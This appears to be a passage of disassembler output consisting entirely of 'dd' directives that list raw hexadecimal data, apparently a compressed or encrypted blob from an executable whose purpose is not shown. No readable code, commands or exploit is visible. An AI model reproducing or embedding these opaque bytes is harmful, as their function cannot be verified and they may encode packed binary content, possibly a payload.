		dd 0DABDE85Fh, 62044C97h, 8E8BC107h, 31745389h,	598125D0h
		dd 6212F400h, 4068D233h, 70BCE6B7h, 1689007Eh, 9B2C888Ah
		dd 957B65B8h, 7AA41C18h, 3E3DAh, 0F8804037h, 91E6723Ah
		dd 4F8D98C0h, 3B685063h, 0E8001FD1h, 0B942F7CCh, 38015878h
		dd 0E57A08Fh, 30E40820h, 13900085h, 8941C021h, 0A4006087h
		dd 50C4E6Bh, 5B0FF5h, 81DEB9Bh,	0E25ED112h, 757D605h, 0C0BE8D43h
		dd 9CD7F219h, 0E3AD2C03h, 0E882E266h, 90A80C54h, 44A23CF7h
		dd 0BDB99D8Eh, 25013C0h, 527E5411h, 5295800h, 0C4860CDh
		dd 0FAA6005Ch, 0E8AACA81h, 967D8F18h, 27315F1Fh, 8B1103C3h
		dd 8D29C8D9h, 0CA6B0069h, 71CDD1C1h, 8A0055D0h,	1D4899BCh
		dd 136BB28h, 6A2C53ABh,	0D10A34AAh, 8864F404h, 9C1C024h
		dd 4D008316h, 8DED7213h, 2198BBh, 502FF3D5h, 4BF16E87h
		dd 0B929907h, 0D200F35h, 2C35943h, 6D316C62h, 8840098Dh
		dd 15017310h, 5203EDF3h, 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch
		dd 0EB462434h, 28007560h, 59A66A7Fh, 0C08318h, 4E7EF203h
		dd 0F5FE8111h, 48C07DE0h, 4823344Ch, 0D8880075h, 0EA7F2C4Dh
		dd 3679EB32h, 96821100h, 2D94036Ah, 0CF63Fh, 990E072Bh
		dd 1C13770Bh, 0C6501700h, 46E024A3h, 71480F65h,	0FC020EDh
		dd 7B2738Ch, 920EB700h,	104B053Dh, 0AB3A0052h, 24848D0Ah
		dd 0A4003B29h, 5045578Bh, 7C0C222Fh, 311718Ch, 3546D251h
		dd 0BE02BC0h, 640083C6h, 80DD98DFh, 0FA0451BCh,	2E7505CDh
		dd 0C005DAFDh, 2407EB80h, 39331B48h, 651200F5h,	0BE54D21Ch
		dd 0E0587D6Eh, 3D104C88h, 0F7754E01h, 304A43B1h, 0B476E849h
		dd 5E9BDC00h, 0A0B8EEF0h, 0E182009Dh, 5DEAEC83h, 0E90008E2h
		dd 85C3C7CCh, 97908Dh, 8814577Ah, 5D6558DCh, 10056703h
		dd 9843860Fh, 0E2324E52h, 0E03D7668h, 13730026h, 0D6881BDBh
		dd 0C30041A2h, 2303C5A7h, 9314E9h, 4FD03530h, 0C9FB830Fh
		dd 68054100h, 1E88BF1h,	971129Ch, 8D0600C1h, 0A3422E31h
		dd 6500700h, 21BF145Eh,	3D8EFADAh, 44D8AC33h, 84E2F00h
		dd 980990F4h, 0E9AB1000h, 32729B23h, 3C70BD2Ch,	5A8DCB00h
		dd 0C1A9C14h, 9A1501F5h, 0C2563DCDh, 7BD62011h,	0CE08F701h
		dd 2CBFC39Dh, 0C5CDD0C7h, 0D6C100CFh, 6763EAD3h, 0C6FC8935h
		dd 946DE407h, 80C092DAh, 0F4887Ah, 0D741529Ah, 0CA03140Bh
		dd 89770600h, 868A2411h, 8B40072Dh, 8068AE9Ch, 95FA76C3h
		dd 906CC41Ch, 74F07EB8h, 0FF0083F6h, 715A7203h,	1E8D0502h
		dd 44FD6Fh, 4163166h, 0C13C2EC5h, 6B2400E2h, 0A252C26h
		dd 1AB4002Fh, 314A2789h, 0B0EBDE6h, 80F8C183h, 57BA538Eh
		dd 8C93008Bh, 6A733882h, 963D79CFh, 0C881002Bh,	0EFD3C503h
		dd 80461E18h, 0E74387CDh, 8A19F24h, 0D7E40130h,	0F81CF6E8h
		dd 5B5AEB00h, 0A86C9A14h, 0BD850920h, 0AC0EA746h, 2EDBD480h
		dd 0D005AD7h, 25B3AB45h, 71D82C1Dh, 856A00A0h, 7303FB01h
		dd 8C008B1Ah, 5AB5629Eh, 0F2300C0Bh, 0BF1900E5h, 0EB115194h
		dd 8600FD1Bh, 1552C862h, 0F21FBB4Ch, 58D40089h,	0DDB17F1Eh
		dd 500E8E88h, 40B00644h, 8D413914h, 3B381D8Bh, 0DE9707C2h
		dd 2BD00024h, 8A3C40D1h, 50880312h, 0F0693FE2h,	3907B8Bh
		dd 96C70391h, 0C9F0BD13h, 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h
		dd 0F286Eh, 0C6AFC382h,	2C1347D2h, 6400FAB0h, 0C217AA83h
		dd 4CCD1852h, 0AB00E428h, 69B03CE8h, 850341A3h,	78843888h
		dd 0CB47C370h, 441007C4h, 0F0BB1173h, 1D4BDD82h, 9B00D271h
		dd 27E75AFDh, 0D190C3h,	406A8726h, 1E100668h, 84E3F900h
		dd 2C1F62BAh, 758EB002h, 307400F7h, 2E258380h, 0B53CF18Bh
		dd 0A8178044h, 15E1A7FCh, 3E860EE6h, 12C04BAFh,	37208A5Ah
		dd 0A11C51E8h, 5FD73B11h, 7C543700h, 767E532Fh,	0B097FCEh
		dd 57428758h, 30ABA580h, 35E8142Bh, 102CA907h, 8520BC5Ch
		dd 5155E9h, 0C8807F8h, 743D6224h, 4053FE00h, 70358B77h
		dd 31300CEh, 0EB0D68CCh, 8D00632Ch, 8309811Bh, 657EE9h
		dd 0A21D03ECh, 0D0FC5F12h, 0C6A63F00h, 0EFF91708h, 46F20Bh
		dd 0FCF80FDh, 0B8C1D9B7h, 83F2B900h, 2743EC7h, 822F0087h
		dd 2757E181h, 0D900C958h, 0C13BE440h, 1F7726h, 0DD021D6Eh
		dd 0FA18D2CBh, 0BA965307h, 62C76F0Ah, 0EB1901D0h, 4C917A08h
		dd 923DC229h, 0BA754F81h, 70C71EE4h, 0AA3A97A1h, 908B80ACh
		dd 4BE84001h, 0F2530094h, 825A5B1h, 970E68B8h, 5E195DEDh
		dd 78CB0E00h, 387225Ah,	56824C75h, 539B425Bh, 724D45A8h
		dd 18DB7F00h, 24945A48h, 55890112h, 25E2E3AEh, 8FD040B9h
		dd 0C00293Bh, 97ADC65Fh, 6BC572h, 0C45B18A1h, 58A5DA88h
		dd 95846007h, 0FC0010C6h, 800203h, 0F3E4E938h, 11C9798h
		dd 0C23A8300h, 0C7405674h, 4A9300D4h, 4C35B20h,	48000D7Bh
		dd 0DB2A5E52h, 17A95AAh, 6F1CA5A3h, 0E8744DCEh,	0B80037D4h
		dd 97778AE3h, 839023h, 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h
		dd 4A8DCA7Fh, 70291FEEh, 9CEC0E9h, 0ADDC071Ah, 7100D9F4h
		dd 0AEF00CB1h, 3FF45174h, 0EE8031CBh, 8DA6C6ACh, 821D27AAh
		dd 14C0C3F1h, 0F5F20195h, 5C8500F6h, 0DD54029h,	9200519Dh
		dd 0B2523E4Bh, 3E9A776h, 29E5F810h, 0FCB8401Ch,	0ED58DBE8h
		dd 0D5371E65h, 89F4B841h, 3CE702F0h, 0B10FC458h, 8280A605h
		dd 87453D80h, 6F936400h, 6D37803h, 20050055h, 2608A11Bh
		dd 44006209h, 9811B34Ch, 7E750664h, 270C070Dh, 70B68DBFh
		dd 8CF61471h, 541A1500h, 0AC2EDC8Ah, 789005Eh, 0A96C7952h
		dd 44007C34h, 0E8170509h, 7AD95F7h, 804893D8h, 875C05Dh
		dd 141FCCD3h, 6C02CA3h,	18F7C62Dh, 1D890017h, 0F9533BA1h
		dd 0A6EC32CEh, 0AC21DE00h, 79E3184h, 0A8363997h, 1D803AFAh
		dd 74300E80h, 0B8327563h, 9D607700h, 5CD24DB3h,	580A00B9h
		dd 649C100Bh, 840F94A7h, 20309FAEh, 42A9A824h, 0FF011E53h
		dd 5780405Bh
		dd 6F646E69h, 734B7705h, 0C580DCAAh, 1353925h, 7FE43B7Dh
		dd 7E4F1219h, 60C5AFB0h, 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh
		dd 4D9F0031h, 4E433C69h, 33F80154h, 7542252Eh, 344E7095h
		dd 8057900h, 2306A32h, 58700060h, 10258050h, 4C00FCBFh
		dd 0C9987ECBh, 0F2C1997Fh, 36BC002Bh, 29A97B84h, 0F4F4497Ah
		dd 0DF535700h, 48E71CBBh, 3E79722Dh, 2E00760Ch,	95D7F2F0h
		dd 0B5001B7Fh, 0CAFF50D3h, 0DF7126h, 33CD9214h,	474F5455h
		dd 6843EC0Fh, 27A0008Ch, 1A40A9h, 7D017F2Eh, 137534F8h
		dd 5AD37B03h, 1E9DECh, 64ABFA10h, 34568B46h, 0BB668200h
		dd 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h, 5FC0EC2h,	0FE120100h
		dd 0A93CEF2h, 0FC064F09h, 0DB642ED6h, 5B15D803h, 0AB5CB8AFh
		dd 0A9441DB9h, 0C02D402Bh, 923EE92Eh, 7600F6F8h, 199BB82h
		dd 7A75251Ch, 4B0A0F42h, 0C200A7D4h, 447B57FCh,	0A38F6950h
		dd 22AF4500h, 7EDE0930h, 1AD6482Fh, 55F0AC00h, 0BF5405D4h
		dd 5700A975h, 4B780C73h, 4142ABh, 5B9CFCD6h, 9D5A1799h
		dd 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh, 0DE20004h, 61D92B4Ah
		dd 3100A521h, 7795CE96h, 39411317h, 1ABDAB52h, 6A986280h
		dd 2153CCA5h, 0AC73F000h, 0BE927D33h, 0C0AE00D5h, 0C7448D3h
		dd 2A000FE6h, 17D88384h, 749C53E9h, 67C40044h, 0CB21F25h
		dd 0A030E0Dh, 2A35EAE7h, 4C18E874h, 134B008Dh, 0FEF6CCA1h
		dd 85055729h, 8CBA9A3Fh, 0C951CE80h, 0B3070105h, 0F9255D02h
		dd 2C81DCD4h, 0A67C3D00h, 41B5A9Ch, 0B3980A34h,	1CFEB05h
		dd 0FC79F878h, 0B785ECBAh, 8E23443Eh, 5203A358h, 0A552200h
		dd 1D7E664Eh, 0C7101341h, 0B0279943h, 3CEB2806h, 0A8EA9200h
		dd 102B2EB0h, 1FCE7E0Dh, 0C183BE5Ah, 0A306B326h, 0C307C822h
		dd 81C1E72h, 9801AE3h, 0B89616E2h, 0E4B000Dh, 0D0387406h
		dd 0E8390AB3h, 910B0002h, 0AC7A6223h, 4DF94C57h, 42014400h
		dd 41920CA5h, 0B4D8BF00h, 0EB15FF60h, 111C4C28h, 855BC15Bh
		dd 0D7F0E089h, 0AA9C5E00h, 1254AF75h, 0A0094C0Fh, 1F1C800h
		dd 4FE83202h, 0FE0BA100h, 287C0A6Ah, 5E49002Fh,	92981062h
		dd 972F7908h, 9E74AFh, 3D024429h, 0E3B9D90h, 0EB0726EAh
		dd 4719CC01h, 74C0315Ah, 458A006Ah, 16033CFAh, 66002875h
		dd 0BA4B6EA9h, 80FFC3h,	0FA410A86h, 0F6434825h,	83D84D00h
		dd 8CE02E0h, 1D9A24F8h,	0BA3F0033h, 3C3B1996h, 2437B400h
		dd 0A0C8335Ah, 2A6400D0h, 7DA91A7Ch, 0FA904714h, 7A0C2500h
		dd 0CA09E13Dh, 5EA49h, 5BB9827Eh, 0FC0ADE64h, 20005077h
		dd 34BA8CF1h, 3A4FB80Bh, 5700D102h, 0B478BF9Ah,	0CC001E6Ch
		dd 33FD0FF5h, 5C6A60B9h, 0BA008F01h, 94157C57h,	17780A87h
		dd 0F2009077h, 1252988Eh, 9C2C39h, 0FE3ED711h, 0F7934ACBh
		dd 0B220400h, 64F840BFh, 0FD820375h, 9C917F70h,	533E2F90h
		dd 74739F00h, 435C6D81h, 0C7720075h, 0EBD46EBBh, 0CF0FACE8h
		dd 0E0947E53h, 3529DE0Bh, 0AE4F0793h, 0C073EFE4h, 495750B4h
		dd 4A4E7100h, 53D83854h, 52450F1Bh, 26410656h, 0E84CEC3Ch
		dd 4D7A4E41h, 0AF284B00h, 0FF2E102Dh, 1AEE224h,	308298E9h
		dd 0C83A41B0h, 4799B0Dh, 407F7700h, 3D0F0B76h, 0E13F0087h
		dd 0D3852489h, 0EC00D257h, 0AF640345h, 481B08h,	224B9133h
		dd 0C87B4363h, 0E178AE78h, 0B2F63Ah, 11E40D27h,	0F15E084h
		dd 0E93520FBh, 155A040h, 8300F818h, 8A0EF3E1h, 3E7630ECh
		dd 0B207F053h, 709217F4h, 0F8347B59h, 0DF031E74h, 6552AC29h
		dd 0EFF38812h, 6BC003F2h, 3BC5600Eh, 649D9298h,	0F00767E2h
		dd 4654FC08h, 8E31E250h, 65F27Eh, 0A11CEBD8h, 4E1F0415h
		dd 4FC4B803h, 0B937036Ch, 6E30F9B0h, 2B130091h,	21BF5DE7h
		dd 9C009744h, 61C8427h,	806477h, 0C3695399h, 226F0991h
		dd 8B447D1Eh, 12A789C0h, 0C82CB5h, 0ED46BBAh, 5B9FEDD9h
		dd 0A21D3700h, 0E0D5E230h, 0FE86000Ch, 0F80EFF54h, 8A1D1CA7h
		dd 71C0B110h, 40231B28h, 6F9B014Ah, 57B42C33h, 6B72D813h
		dd 61A20900h, 74797D92h, 9F833E49h, 64F7600h, 41B10CBCh
		dd 61FC6400h, 65633B6Eh, 19200029h, 503CDEA7h, 0E4FF6D6Fh
		dd 64004515h, 0B84F3D69h, 0D0E4ACh, 736566D3h, 612D8AE3h
		dd 0C4186C00h, 0CE444D11h, 8E3A03CBh, 4A86EA6Eh, 0BBB8BEB8h
		dd 0B926A501h, 9CB2128Bh, 0B864CBE3h, 90940975h, 0E2320AF1h
		dd 7CDCDE5h, 20BB3976h,	0B70F4540h, 975C5D24h, 18218039h
		dd 0BAA728B9h, 72EB003Ch, 99D7841Dh, 931E0E12h,	4F81348Dh
		dd 1A49BEA2h, 55817C4h,	0DB849B0Fh, 0B9C7C093h,	99002F64h
		dd 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h, 9ECBF373h, 0F3984408h
		dd 8E53143Ah, 48DD56h, 2A88FC95h, 3C5C4887h, 45542100h
		dd 0F509764Dh, 4F26B600h, 8FEED912h, 0C21000C0h, 9FA1A4B2h
		dd 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h, 0F0B05457h, 0B534C627h
		dd 9A9800D8h, 0C91A8F7Eh, 79FF3600h, 0D35DF2E9h, 530B018Ch
		dd 974C4450h, 0F07D21D5h, 2201B964h, 0F47BB41Bh, 25E0FB16h
		dd 0C6940088h, 8018829Dh, 757BFE3Bh, 2636DE07h,	731510C1h
		dd 8D0874C1h, 0FA8CC870h, 94F7FA3h, 0A804BCEh, 0F00988Eh
		dd 4388C094h, 4E750161h, 57D874D3h, 0ABC300AEh,	0AB06933h
		dd 5C1D5116h, 0B840A7F2h, 3B534108h, 387D0130h,	9D4AC2F4h
		dd 72CAF407h, 8F8D0C02h, 0E0DEC312h, 74F8DA2Dh,	856F0EDCh
		dd 0B12BD3Ch, 5DFEADh, 42409723h, 31C2008Ah, 0EB18F98Bh
		dd 270F3A10h, 0C0097221h, 805703D5h, 75B907FAh,	90B389BBh
		dd 9C159C7h, 0D4310F00h, 1398C44Ch, 3047D83h, 5570C09Bh
		dd 0D0E70EC8h, 12BC62B8h, 0CAD95200h, 1005DC46h, 0B08C00D8h
		dd 1FA4D030h, 6726D443h, 0F601AF27h, 834807E8h,	24A814F0h
		dd 3D7538Dh, 0F719B752h, 0C01BD890h, 38840800h,	2761012h
		dd 56E90009h, 33557EA5h, 6E1C8B78h, 5DC08F92h, 0E805D0D6h
		dd 0B94800AFh, 0A124B767h, 0F500E9BAh, 18EC0C99h, 12A95A8h
		dd 0AC0E495Fh, 0D8727D81h, 0FD007F63h, 480FDF05h, 2EA4BF17h
		dd 70A42E5h, 30EB3014h,	8CB8E88Ah, 9C472C3Fh, 9BC03BE6h
		dd 66AB55Fh, 0C455008Bh, 24A7FA5Ah, 787BF1E9h, 0E1723200h
		dd 0EA103D17h, 3484C0E6h, 0E52DF454h, 1A8C2114h, 0BC08009Dh
		dd 3D3AD490h, 0A4B10382h, 65DF7201h, 0C76ABDE8h, 0DC67F00h
		dd 0A550F246h, 16A60081h, 7322E2E6h, 7C3BCCB8h,	821B812Bh
		dd 8FD42F5Dh, 0E8D8E0E9h, 0F202131Eh, 0A0A30109h, 0FC799286h
		dd 200012E1h, 6DDFA418h, 7A5699F1h, 429800E0h, 10F9C0Eh
		dd 8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h, 33C076E4h, 0D040B45Dh
		dd 0D4961900h, 6138A03h, 0BEF93C48h, 944E6F80h,	2C77B540h
		dd 0DC752000h, 0D7E5F303h, 7D8324C0h, 740F00DBh, 8EC8A38Ch
		dd 703D155Ch, 48D3F00h,	99C62B5Bh, 0C2750033h, 32F546E5h
		dd 97008F22h, 2CC86692h, 3D81D140h, 9183D80Ch, 4B0A5B6Bh
		dd 4CB8490h, 1941CA00h,	8345A0EAh, 0B4B80A62h, 81AE1Eh
		dd 6461C8BCh, 0DC009877h, 0CDC003EDh, 6280F0h, 31E075EEh
		dd 7C7E06FAh, 3EE66D58h, 30AA0044h, 8D985EE6h, 18890235h
		dd 5808050Bh, 810972C0h, 0DB033Fh, 8F8B9B1Ch, 4BC32Bh
		dd 2A299671h, 621A40FFh, 50845500h, 0D009A40Ch,	4CE208h
		dd 2F58E830h, 71B64F69h, 0CAB03C00h, 20C463E9h,	94BC2441h
		dd 0F61E3Ah, 8B28BB3Ah
		dd 48010537h, 2C438319h, 42301221h, 14660030h, 16BE8B50h
		dd 0FE00344Ah, 7B80DE02h, 0D6C103h, 0F2B0576Eh,	0EA52BA68h
		dd 5900D5ECh, 0F84E8D6Dh, 6C0394Ah, 7705F980h, 49FAFC51h
		dd 1904DAFAh, 1708B710h, 29C01E87h, 0B8913248h,	89560009h
		dd 33EB684Bh, 7A1CC72Bh, 6E407980h, 1081322h, 88191D90h
		dd 1E101D02h, 3E071E04h, 0CEF62780h, 0DE89F1Bh,	850F240Bh
		dd 8A3980CCh, 73E43h, 1D74052Ch, 4F83C8FEh, 0F50EE3Ah
		dd 0D488FA08h, 842E00BCh, 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch
		dd 87000FC6h, 369C37B7h, 48F38918h, 8009939h, 0C8C111ADh
		dd 8E00D509h, 14550E9h,	0FA1833FDh, 25F822h, 367B8D05h
		dd 0EB1354BEh, 5C9DA30Fh, 17E980C3h, 14801ABh, 425E8414h
		dd 0EDE4F2B4h, 5CBCE488h, 74F244F2h, 5026A9F2h,	57038171h
		dd 0B80B20EDh, 3E548602h, 6583C976h, 37A608BAh,	0CEE4B898h
		dd 0B9364404h, 1380810Ch, 7614868Ah, 5D450349h,	97D45942h
		dd 0BDA400F5h, 93208BF1h, 0E807CC98h, 2D121AD3h, 864814C0h
		dd 0A9910077h, 0EB2A8A3Bh, 11012C3Ch, 1408F534h, 68F85F64h
		dd 1B3B0178h, 0BE0A0960h, 5310601Dh, 0E200287Fh, 4A4B9734h
		dd 9C5A7h, 91160722h, 0D40B944Fh, 0ED145Ch, 136DA48Fh
		dd 0E274067Ch, 4409000Eh, 3E882E1Eh, 500056EBh,	0B7C4A28Ch
		dd 33C6A65h, 0D689AFF7h, 0E6A01499h, 6300ACD9h,	4D4BFCB8h
		dd 0BADCFFh, 0B2365C43h, 0EB2B5A20h, 7CD7F07h, 47332C0Ah
		dd 81069017h, 1D3A9024h, 4014C95Fh, 0E57C115Dh,	4C00210Eh
		dd 3BF23C10h, 264B22BCh, 19142Ah, 74D807C8h, 900785BEh
		dd 68B2A4F0h, 0E6BB4160h, 9FB0000Ah, 0BCB95D09h, 0C3004916h
		dd 25856C03h, 0C4001h, 36383420h, 0B6587644h, 630011ECh
		dd 0B5C2EF75h, 14302B01h, 0ECFA5390h, 2E0F323Ch, 0FD660D4h
		dd 80BDCAE7h, 7257865Fh, 2DE06269h, 63614200h, 6E45206Bh
		dd 3568005Eh, 56A47A57h, 3400291Ch, 505B7660h, 695D03h
		dd 2F856D75h, 0D4309401h, 535E3Ah, 0C2E349BCh, 436517h
		dd 0B6B2BE1Ch, 6D90B56Eh, 58007298h, 307053EFh,	3B314BADh
		dd 3752DA5h, 0DCAFB590h, 11905098h, 4D002809h, 8C27646Fh
		dd 295525h, 0A534482Ch,	0CD9AFAD8h, 6B019D07h, 5070AC53h
		dd 0FC75DEh, 6AD25930h,	4264A128h, 8B83BF12h, 1978E000h
		dd 760A464Eh, 0A7091DE5h, 0A87C4027h, 0F67E704Fh, 804A0200h
		dd 0CC5B89FCh, 8A787Dh,	0E0B9C45Eh, 0E3820A73h,	582F262Eh
		dd 58BED000h, 210F37Eh,	69E0BF80h, 8DD4468Ah, 0A074020Eh
		dd 50137D09h, 0B01E005Ch, 114B9487h, 0E43AE021h, 0C010003Ah
		dd 0B4292E0Eh, 0DBC307E5h, 0B0481732h, 0BB46B33Ch, 6B00E2F0h
		dd 5AA2F9BFh, 49655Fh, 479430Bh, 4CCA7831h, 2000E698h
		dd 76324D58h, 0EE476113h, 957C002Eh, 0D8363930h, 1B776ACDh
		dd 0B60017B8h, 4A53E8Eh, 584D5Ah, 5E2D48Fh, 93D30A29h
		dd 0BF00CB7Ah, 0C1901512h, 7850B346h, 9443072Ch, 117ABC49h
		dd 0C0F78498h, 3000540h, 8788021h, 0E8F0110h, 0EAA90750h
		dd 0FE09BBC1h, 0E9D260CAh, 0B1793113h, 2078E700h, 3E429C7Ah
		dd 8880C6C1h, 0C0219829h, 832E084Eh, 2D00F9FAh,	2E10BD87h
		dd 40B73F95h, 96DFA6h, 5B0799F3h, 6DEE9118h, 3AEA29F4h
		dd 454CB190h, 0CC51007Bh, 0FC14A13Eh, 2CC41C0Bh, 50EB80C2h
		dd 875C1175h, 88649002h, 0E353798Ch, 42123C7Eh,	31BCECBCh
		dd 0C3431C8Fh, 4C442000h, 84790F3Ch, 18937C0Eh,	804D4F22h
		dd 896F5C91h, 0B440016Dh, 290E5228h, 7972E820h,	22351803h
		dd 0B985ADF4h, 8AE04B2Dh, 302C0ED4h, 0DC60A9D3h, 32FC3143h
		dd 33F98700h, 0F124E50Bh, 0F57C03CBh, 0A7133026h, 0C13B7B98h
		dd 32A9201Eh, 3342F680h, 3955E8h, 6F1D6B6Eh, 71205B77h
		dd 0F43AA702h, 0C075304Ah, 76968CBh, 587F8470h,	0C3E4435Ch
		dd 6007E8C3h, 0EC100146h, 6404B290h, 0F0F251h, 725411D8h
		dd 736E6103h, 74656D00h, 437C19B6h, 775727Bh, 0DC34916Fh
		dd 54CC429Dh, 8AABD540h, 320B9501h, 5C19580Ch, 0F8EB60D1h
		dd 984662A5h, 0C627018Eh, 86774B85h, 2370E80Eh,	72116F01h
		dd 75C47488h, 0F2C7E0h,	3641378h, 45287C14h, 780521Fh
		dd 0DC008496h, 0E8C0C68Fh, 570400ABh, 32517353h, 76765652h
		dd 0FAB32F04h, 218068DBh, 1624884h, 17A915Dh, 0EC18203Ah
		dd 0FC1C89A2h, 3C5FA468h, 559F8CC0h, 4D0390h, 0C87D8194h
		dd 716E6547h, 1B6F7500h, 1E69EF12h, 90493B9Eh, 0AF942785h
		dd 70FE808Dh, 331F8471h, 41C069EBh, 0D6874F9h, 94101C38h
		dd 0A3634724h, 30451ABh, 9152E4EBh, 3C755803h, 90784989h
		dd 772D5C0Fh, 8E8F0733h, 102A6461h, 0EB024124h,	8248110Eh
		dd 0F8832080h, 9565095h, 0B657E90Eh, 0A524807Dh, 0D0FDC2h
		dd 9CBD2A2Fh, 8C463F4Fh, 1A029100h, 0B0ACB878h,	0F2957622h
		dd 0E85D0088h, 0DD27771Fh, 0C1007B69h, 873DF441h, 50D3622h
		dd 3E25C889h, 4B8C042h,	0F03F6373h, 80C3BB84h, 0E0833074h
		dd 88480Fh, 0D9E5D553h,	0B1AB39CAh, 1AB2E90Eh, 0ED9B432Ch
		dd 0A41FB022h, 2F3077Fh, 30B62A12h, 1A93867h, 59510A0Fh
		dd 658FA0B8h, 1C1745FEh, 7F06BD80h, 5FC1759Eh, 40A21D66h
		dd 5121DD84h, 43008D8Ah, 2B52A19h, 0CB7516h, 69307659h
		dd 80E06704h, 0E9E46D00h, 4CD2AA13h, 0DBA41F7Eh, 0B39002Ah
		dd 0B0A5DACFh, 0F9708A00h, 0C114EE6Ah, 557097D5h, 0E53E901Dh
		dd 8F079C5Dh, 5480A808h, 282993h, 915BA5A7h, 45A9664Ah
		dd 5D00067Ah, 0AA4085A6h, 4B829AEh, 2B641F03h, 0B6AB8072h
		dd 0BEE8BA08h, 0C3CDCFBh, 0C2408E03h, 83CA81C6h, 8705E0CEh
		dd 18ED009Ah, 4C331E45h, 48000666h, 10EBC1F6h, 18F44E0Fh
		dd 0AECF25AAh, 4301B738h, 1E3F7EA1h, 0E1D08A11h, 30AEE96h
		dd 5A607CB1h, 45A8C5EAh, 157AE66Bh, 0ACE22A1Fh,	0DE0F5280h
		dd 16ABA8D2h, 35EEC80h,	5B7A592Ah, 19CD58A8h, 8C55D800h
		dd 0E89F51B9h, 0B7280016h, 5CBA0B4Eh, 4801FBC9h, 1B8D108Bh
		dd 0A6D8E974h, 0FC7540h, 0AD9B914h, 354A5C20h, 44008874h
		dd 73102B74h, 7658B2AEh, 0BC30E717h, 1C0D0059h,	0EBB0404Bh
		dd 1A075E65h, 21322A54h, 0ACA41040h, 0B34500A7h, 0B4114E6Ch
		dd 98F019C9h, 9C3040BDh, 1E5700B6h, 8C3DA1BCh, 0C000BEA0h
		dd 7D258D13h, 73B30A2h,	0B5F8FB8Bh, 0C0FA67A3h,	22C33657h
		dd 0D2C94D00h, 8CBFECFh, 17AB0082h, 0EA34DC5Dh,	87002C45h
		dd 597E294Bh, 1184A1Bh,	0BA9444CBh, 0F732B937h,	78921207h
		dd 6E9473E4h, 3582CA09h, 0B1404D54h, 30FD3896h,	285C0CFCh
		dd 83090115h, 5054A4C4h, 0FECB59C4h, 0B08D0016h, 0BA2DC935h
		dd 7E0EEE24h, 0C0501FCFh, 0A016484Fh, 5EA30096h, 8771D7D4h
		dd 0D87E85F4h, 1CDC0800h, 0B1569FA2h, 869400E4h, 0D3FB1F55h
		dd 0E800951Ah, 0C8DC633Fh, 1100B26h, 3D801499h,	2AE15B18h
		dd 0A4EFB0h, 98CE92BFh,	7E591277h, 0B409C401h, 25A656A3h
		dd 0F26AC9CCh, 0C8CD002Fh, 8821AF1Ch, 191ECA9Bh, 99C0A543h
		dd 0DF09D611h, 0BEE85C10h, 0F101330Fh, 3BFFA6Eh, 221A390Ah
		dd 0F8442AA9h, 0EB00883Ch, 5C61976h, 2601E7A0h,	0FA96DE5h
		dd 4321DFA4h, 0D15B20A8h, 0E152D1ACh, 4249E0B0h, 0E65B800h
		dd 391048BCh, 0CC00059h, 0C4908529h, 156719C8h,	54F02006h
		dd 722CCh, 3209D081h
		dd 0CB60C41Bh, 4F2EAA00h, 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h
		dd 3B00E2EBh, 65AC82EDh, 923B5F00h, 0FC0A7185h,	0D27E9564h
		dd 0F02CF406h, 0B7EC0076h, 0DFFE3862h, 6A3E4307h, 0E432005Bh
		dd 0DDE01472h, 42120045h, 2934CC06h, 1EE42D83h,	5C1A0102h
		dd 0E0406F2Ch, 0B0A26E1Ch, 0C5CC00C3h, 0ED540C51h, 0E7A9333h
		dd 8DA56600h, 9D35EF40h, 14EEAE8h, 8FDDCEEAh, 0D4C709D2h
		dd 0C60FE099h, 0E02AB67Ah, 0D62B49AEh, 2F580051h, 3DC255D0h
		dd 11DBD03h, 0DC005C77h, 64BCD3B7h, 0F9532610h,	80FD0001h
		dd 870D048Fh, 0BF2A9E03h, 0A04FA86Bh, 0AC6865h,	40C683D1h
		dd 0B0F8608h, 1448C0EEh, 0A5AD0063h, 642D24FBh,	580203F5h
		dd 76DB850Ch, 21C144C0h, 4BCD8600h, 0BC7C247Fh,	0EF07A4Ah
		dd 56107005h, 3D0C36E3h, 0DF5144D8h, 6E297A00h,	8833022Bh
		dd 75080042h, 1643C394h, 0E047953h, 122147E8h, 7F90B6C0h
		dd 519800A2h, 2E1E25E2h, 8000F6F0h, 0DD3C7869h,	1D2A38D2h
		dd 55204h, 0C981D868h, 7E0010B4h, 0BFEB6582h, 3BB0925h
		dd 4B594CE0h, 56A8F05Ah, 72006116h, 48ADF846h, 2D9F7Bh
		dd 4BE70193h, 0D7A7D4FBh, 7906C3Eh, 0E46EF854h,	0DDEBBD51h
		dd 703AC70h, 44BCCCF7h,	78E6304Bh, 11007F6Fh, 64DFCEE9h
		dd 731724B4h, 886A0758h, 0D06023D6h, 0C4709472h, 0BE27D21Fh
		dd 68950C0h, 4F0CAEh, 2F22F114h, 244EC8DDh, 0E4082112h
		dd 8C6C8000h, 2CFEF084h, 0CAEE65h, 1625DCF4h, 3400AA11h
		dd 6A9488F3h, 0ABCF4Fh,	54801B6Ch, 7765AD7Bh, 31C56800h
		dd 2C59958Dh, 57EF1DB0h, 6B5C7F1h, 0F79CF70Dh, 12AFA14Eh
		dd 0EBD0DC69h, 3A294100h, 8D8263BCh, 0F87885h, 1975809Ah
		dd 92D2FCF4h, 0D1411300h, 0FEEC5D43h, 9DD000E4h, 5F0B0879h
		dd 50E41E5Bh, 856D7100h, 0F7659784h, 1294004Ah,	2224CA1Dh
		dd 5C0B0810h, 80727453h, 0A5AB2D16h, 0ED750027h, 6918A4E4h
		dd 0C0008906h, 0A7BBA8A9h, 4A82BEh, 30145D0Dh, 6D6F431Ch
		dd 34876500h, 712C0A73h, 880B39ECh, 0C170C400h,	0D34E7909h
		dd 8064523Fh, 2BD01884h, 0BA40F22h, 28447291h, 4C9D7B80h
		dd 0D30E3770h, 0E0D8A5BBh, 25876C33h, 927900DEh, 12633018h
		dd 0C848D48Bh, 0ACBC00F4h, 178DB6C4h, 0E031FAC2h, 0ECB2002Fh
		dd 69540BCAh, 0EA0F4556h, 24985980h, 0A2800C89h, 0B87212h
